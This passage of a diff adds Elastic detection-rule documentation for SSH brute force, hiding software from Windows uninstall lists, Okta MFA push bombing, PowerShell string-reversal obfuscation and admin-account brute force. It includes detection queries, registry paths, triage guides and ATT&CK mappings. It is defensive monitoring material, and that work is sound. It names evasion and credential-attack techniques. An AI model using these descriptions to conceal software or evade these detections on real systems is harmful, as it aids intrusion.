IP addresses in the failure and `Accepted` messages to rule this out. +- A user with an expired or recently rotated password who retries repeatedly before succeeding. The 15-second window and +PAM's per-attempt delay make this unlikely from a single interactive session. +- Security scanners or credential-validation health checks that test SSH authentication against known hosts. + + +*Response and remediation* + + +- Treat the alert as a potential compromise: a successful login after repeated failures means the attacker likely holds +valid credentials for the host. +- Terminate active SSH sessions for the compromised account and isolate the host from the network if unauthorized +access is confirmed. +- Reset the password of the compromised account and any other accounts sharing the same credential; review the account +for unexpected privilege changes, SSH authorized keys, or persistence mechanisms such as launch agents or login items. +- Review commands executed in the session and on the host for follow-on activity, including data access, lateral +movement, or additional accounts created. +- Block or rate-limit the source IP address at the network perimeter or on the host, and review why the SSH service was +reachable from that source. +- Review and harden the host's SSH configuration: prefer key-based authentication, restrict access with +`AllowUsers`/`AllowGroups`, and disable Remote Login where it is not required. +- Search for similar sequences across other macOS hosts to determine whether the activity is part of a broader campaign. +- Escalate to the incident response team and update logging and detection coverage based on the findings. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/integrations/macos[macOS Security Events Integration for Elastic] +SSH authentication logging setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integrations/macos/macos_security_events_ssh_authentication[macOS Security Events: SSH Authentication] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=15s + [authentication where event.dataset == "macos.authentication" and host.os.type == "macos" and + macos.event.message.description : ("Failed password for*", + "Failed keyboard-interactive/pam for*", + "error: PAM: authentication error for*")] with runs=10 + [authentication where event.dataset == "macos.authentication" and host.os.type == "macos" and + macos.event.message.description : "Accepted *"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-uninstall-entry-concealment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-uninstall-entry-concealment.asciidoc new file mode 100644 index 0000000000..e7a0000ebc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-uninstall-entry-concealment.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-36-potential-uninstall-entry-concealment]] +=== Potential Uninstall Entry Concealment + +Identifies execution of the Hide From Uninstall List utility or a registry change that marks an installed application as a system component, causing Windows to omit it from Programs and Features. Adversaries may use either method to conceal remote-access, security, or other software. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/daisy-chaining-rogue-rmm-tools +* https://www.huntress.com/blog/phishing-bitb-rmm-attacks +* https://www.safebreach.com/blog/ragnarlocker-ransomware-lokilocker-threat-coverage/ +* https://www.sygnia.co/blog/threat-actor-spotlight-ragnarlocker-ransomware/ +* https://www.microsoft.com/en-us/security/blog/2026/09/29/phishing-abuses-rmm-tools-persistent-access +* https://cofense.com/blog/the-evolution-of-remote-access-tool-abuse +* https://learn.microsoft.com/en-us/windows/win32/msi/arpsystemcomponent +* https://www.sordum.org/11081/hide-from-uninstall-list-v1-1/ + +*Tags*: + +* Domain: Endpoint +* Platform: Windows +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Rule Type: Event Correlation (EQL) +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Uninstall Entry Concealment* + + + +*Possible investigation steps* + + +- Which detection path generated the alert? + - Focus: review `event.category`, `process.pe.original_file_name`, `registry.path`, `registry.value`, and `registry.data.strings`. + - Implication: a process event identifies HideUL execution but does not prove that an application was hidden. A registry event setting `SystemComponent` to `1` establishes the concealment change but does not by itself identify the utility. + +- Which application was targeted, or did the HideUL execution progress to a concealment write? + - Focus: for a registry alert, resolve the uninstall subkey's `DisplayName`, `Publisher`, `DisplayVersion`, and `UninstallString` from endpoint state, software inventory, or adjacent events. For a process alert, review same-process events for a `SystemComponent` write. !{investigate{"description":"","label":"Events for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: hiding remote-access, security, monitoring, or unfamiliar software raises concern. A process-only alert without a corresponding write remains an execution signal; absent registry telemetry is unresolved, not evidence that no application was hidden. + +- What binary and launch chain initiated the execution or registry change? + - Focus: review `process.executable`, `process.command_line`, `process.hash.sha256`, `process.parent.executable`, and `user.name`; use the process entity or ancestry to recover missing launch context. + - Implication: a renamed binary, user-writable path, unexpected parent, remote-management launcher, or unfamiliar hash raises concern. A stable internal path or known hash identifies the binary but does not by itself establish a recognized administrative workflow. + +- Did the same process modify other uninstall entries or removal controls? + - Focus: review registry events for the alert's `host.id` and `process.entity_id`, including `registry.path`, `registry.value`, `registry.data.strings`, and `event.action`. + - Implication: multiple hidden applications, deletion of uninstall entries, or writes to `NoRemove` or `NoModify` increase scope. `HFULOption` is context about HideUL bookkeeping and is not evidence of concealment by itself. + +- Does the target or launch context connect this operation to an active remote-access session or broader defense evasion? + - Focus: use the same-host related-alert view to find remote-access installation, interactive-session, or defense-evasion alerts. Separately correlate available RMM audit or session records by host, user, and time. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: an active remote session, recent remote-access installation, or another defense-evasion alert increases priority. Missing product or session telemetry is unresolved, not benign. + +- If local evidence remains suspicious, is the same utility hash, writer, or hidden product present on other hosts? + - Focus: search for the recovered `process.hash.sha256`, writer executable, and target uninstall subkey or resolved product identity across endpoints, keeping the initial time range close to the alert before broadening. + - Implication: repeated execution or concealment on additional hosts raises concern for coordinated activity. Recurrence limited to a recognized software-management or hardening pattern on expected hosts lowers concern but is not clearance by itself. + +- Escalate when the matched signal, target application, writer, or surrounding activity indicates concealment of remote-access, security, or unfamiliar software, or other high-risk context. Close only when the exact execution or registry change matches a named change record; otherwise preserve the evidence and keep the case unresolved. + + +*False positive analysis* + + +- Application installation, update, packaging, shared-device, kiosk, lab, or administrative hardening workflows may intentionally set `SystemComponent`. Confirm the matched branch, exact uninstall target when present, binary hash and path, initiating identity, parent process, host group, and change window against the workflow record. + + +*Response and remediation* + + +- If confirmed benign, document the matched signal, target application when present, and execution context, and reverse any temporary containment. +- If suspicious but unconfirmed, preserve the alert source event, HideUL or writer binary and hash, launch lineage, target uninstall subkey and sibling values when present, and related remote-session evidence. Restrict the suspected session first; isolate the host only when the evidence and asset role justify it. +- If confirmed malicious, isolate the host when operationally safe, disable the unauthorized remote-access channel, and contain the associated account or session. Terminate the recovered process only after preserving its entity ID, command line, hash, and available registry evidence. +- Restore the affected uninstall registration through the owning product's supported installer or a verified pre-change value. Do not delete the application or registry key before preserving evidence and confirming whether the hidden software itself is authorized. +- Hunt for the same HideUL or writer hash, launch lineage, uninstall subkey, and hidden product on other hosts. Remove confirmed malicious tooling and persistence only after scope is established, then retain process and registry telemetry needed to detect recurrence. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + ( + event.category == "process" and event.type == "start" and + (process.name : ("HideUL.exe", "HideUL_x64.exe") or ?process.pe.original_file_name : "HideUL.exe") + ) or + ( + event.category == "registry" and event.type == "change" and + registry.value : "SystemComponent" and + registry.path : ( + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*", + "*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*" + ) and + registry.data.strings : ("1", "0x00000001") and + not registry.path : "*Microsoft EdgeWebView\\SystemComponent" and + not ( + registry.path : "*\\{*}\\SystemComponent" and + process.executable : ("?:\\Windows\\System32\\msiexec.exe") and + user.id : "S-1-5-18" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..0ffcd6ef40 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-potentially-successful-okta-mfa-bombing-via-push-notifications]] +=== Potentially Successful Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://web.archive.org/web/20230726145135/https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Okta + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potentially Successful Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-powershell-obfuscation-via-negative-index-string-reversal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-powershell-obfuscation-via-negative-index-string-reversal.asciidoc new file mode 100644 index 0000000000..0261476664 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-powershell-obfuscation-via-negative-index-string-reversal.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-36-powershell-obfuscation-via-negative-index-string-reversal]] +=== PowerShell Obfuscation via Negative Index String Reversal + +Detects PowerShell scripts that uses negative index ranges (for example, $var[-1..0]) to reverse strings or arrays and rebuild content at runtime. Attackers use index reversal to reconstruct hidden commands or payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Obfuscation via Negative Index String Reversal* + + +This alert flags PowerShell script block content that uses negative index ranges to reverse strings or arrays and rebuild content at runtime. This pattern can be used to hide command text and reduce readability during review, so the primary goal is to recover the reconstructed content and determine what it does in the observed execution context. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` and locate the reversal logic. Use `Esql.script_block_tmp` to quickly find match positions, then identify: + - The variable or array being reversed + - The reconstructed output (string, byte array, or command fragment) + - The sink where the output is used (for example, passed into a dynamic execution routine, used as a URL, or written to disk) +- Reconstruct the final value produced by the reversal. Focus on what the script is trying to rebuild (commands, URLs, file paths, registry paths, encoded blobs, or arguments) and record the recovered strings for scoping. +- If the script block is fragmented, pivot on `powershell.file.script_block_id` and use `powershell.sequence` and `powershell.total` to rebuild the full script in order. Reassess intent based on the complete content rather than a single fragment. +- Use `Esql.script_block_pattern_count` to prioritize reviews: + - Single-use reversal may be utility logic and requires context to judge + - Repeated reversal across a long script is more consistent with obfuscation wrappers +- Use script complexity signals to guide triage: + - High `powershell.file.script_block_entropy_bits` and high `powershell.file.script_block_unique_symbols` can indicate encoded or staged content + - Compare `powershell.file.script_block_surprisal_stdev` with the script content to determine whether the script mixes readable logic with high-randomness segments +- Validate execution context with `user.name`, `user.domain`, `user.id`, `host.name`, and `host.id`. Prioritize investigation when the user is unexpected for the host, the host is sensitive, or similar activity is new for that account. +- Review `file.path`, `file.directory`, and `file.name` (if present) to understand script origin. Treat unknown locations, new or renamed scripts, and ambiguous naming as higher risk, and check for additional script blocks tied to the same path. +- Scope related activity by searching for additional PowerShell script block events on the same `host.id` and `user.id` around `@timestamp`, and by pivoting on the same `powershell.file.script_block_id`. Look for: + - Follow-on script blocks with clearer (deobfuscated) commands + - Repeated use of similar reversal segments or reconstructed indicators +- If other endpoint telemetry is available, correlate activity on the same host and time window to identify what happened next (process launches, network connections, file writes, or other changes) and validate whether outcomes align with the reconstructed content. + + +*False positive analysis* + + +- Legitimate scripts may reverse arrays or strings for formatting, parsing, or testing. These cases typically remain readable end-to-end and do not rely on multiple layers of reconstruction to produce executable behavior. +- Developer utilities and automation tooling can include dense string manipulation. Validate whether the observed `file.path` and execution context (`user.name`, `host.name`) align with approved workflows and whether the same script content recurs consistently across expected hosts. +- If activity is confirmed benign, prefer context-based tuning using stable attributes visible in the alert (for example, consistent `file.path` and recognizable script content patterns) rather than suppressing the technique broadly. + + +*Response and remediation* + + +- If the reconstructed content indicates malicious behavior, isolate the affected host to limit further execution and reduce the risk of lateral movement. +- Preserve evidence by retaining the full `powershell.file.script_block_text` and all related fragments grouped by `powershell.file.script_block_id`. Capture the reconstructed strings and relevant metadata (`powershell.sequence`, `powershell.total`, `Esql.script_block_pattern_count`) in case notes. +- Identify and contain the execution source. If an unauthorized on-disk script is referenced by `file.path`, remove or quarantine it and investigate how it was introduced using your standard incident response workflow. +- Investigate the associated account (`user.id`) for signs of compromise. Apply account controls (credential reset, session invalidation, privilege review) based on your procedures and observed scope. +- Hunt for additional exposure by pivoting on recovered indicators and on recurrence of the reversal technique across hosts and users. Remediate any additional impacted endpoints identified during scoping. +- After containment, improve preventative controls appropriate for your environment, such as restricting PowerShell usage to approved users/hosts and enhancing monitoring for obfuscation and dynamic execution patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """\$\w+\[\-\s?1\.\.""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.name, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +| where file.name not like ("PSFzf.psm1", "Tenable_API_AssetLists_IPv6Seeder.ps1", "Utility.ps1") + // ESQL requires this condition, otherwise it only returns matches where file.name exists. + or file.name is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-privileged-accounts-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-privileged-accounts-brute-force.asciidoc new file mode 100644 index 0000000000..8db94927ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-privileged-accounts-brute-force.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-privileged-accounts-brute-force]] +=== Privileged Accounts Brute Force + +Identifies multiple consecutive logon failures targeting more than one Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Windows +* Resources: Osquery + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privileged Accounts Brute Force* + + +Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here]. + +This rule identifies potential password guessing/brute force activity from a single address against multiple accounts that contains the `admin` pattern on its name, which is likely a highly privileged account. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the logon failure reason code and the targeted user name. + - Prioritize the investigation if the account is critical or has administrative privileges over the domain. +- Investigate the source IP address of the failed Network Logon attempts. + - Identify whether these attempts are coming from the internet or are internal. +- Investigate other alerts associated with the involved users and source host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Examine the source host for derived artifacts that indicate compromise: + - Observe and collect information about the following activities in the alert source host: + - Attempts to contact external domains and addresses. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Domain trust relationship issues. +- Infrastructure or availability issues. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host to prevent further post-compromise behavior. +- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where event.category == "authentication" and host.os.type == "windows" and event.action == "logon-failed" and + winlog.logon.type == "Network" and source.ip is not null and winlog.computer_name is not null and + not cidr_match(TO_IP(source.ip), "127.0.0.0/8", "::1") and + to_lower(winlog.event_data.TargetUserName) like "*admin*" and + /* + noisy failure status codes often associated to authentication misconfiguration + 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine. + 0XC000005E - There are currently no logon servers available to service the logon request. + 0XC0000133 - Clocks between DC and other computer too far out of sync. + 0XC0000192 An attempt was made to logon, but the Netlogon service was not started. + 0xc00000dc - DC is in shutdown phase, it will normally tell current clients to use another DC for authentication. + */ + not winlog.event_data.Status in ("0xc000015b", "0xc000005e", "0xc0000133", "0xc0000192", "0xc00000dc") +// truncate the timestamp to a 60-second window +| eval Esql.time_window = date_trunc(60 seconds, @timestamp) +| stats Esql.failed_auth_count = COUNT(*), + Esql.target_user_name_values = VALUES(winlog.event_data.TargetUserName), + Esql.count_distinct_user_name = count_distinct(to_lower(winlog.event_data.TargetUserName)), + Esql.user_domain_values = VALUES(user.domain), + Esql.error_codes = VALUES(winlog.event_data.Status), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace) by winlog.computer_name, source.ip, Esql.time_window, winlog.logon.type +| where Esql.failed_auth_count >= 50 and Esql.count_distinct_user_name >= 2 +| eval user.name = mv_first(Esql.target_user_name_values) +| KEEP winlog.computer_name, source.ip, user.name, Esql.time_window, winlog.logon.type, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 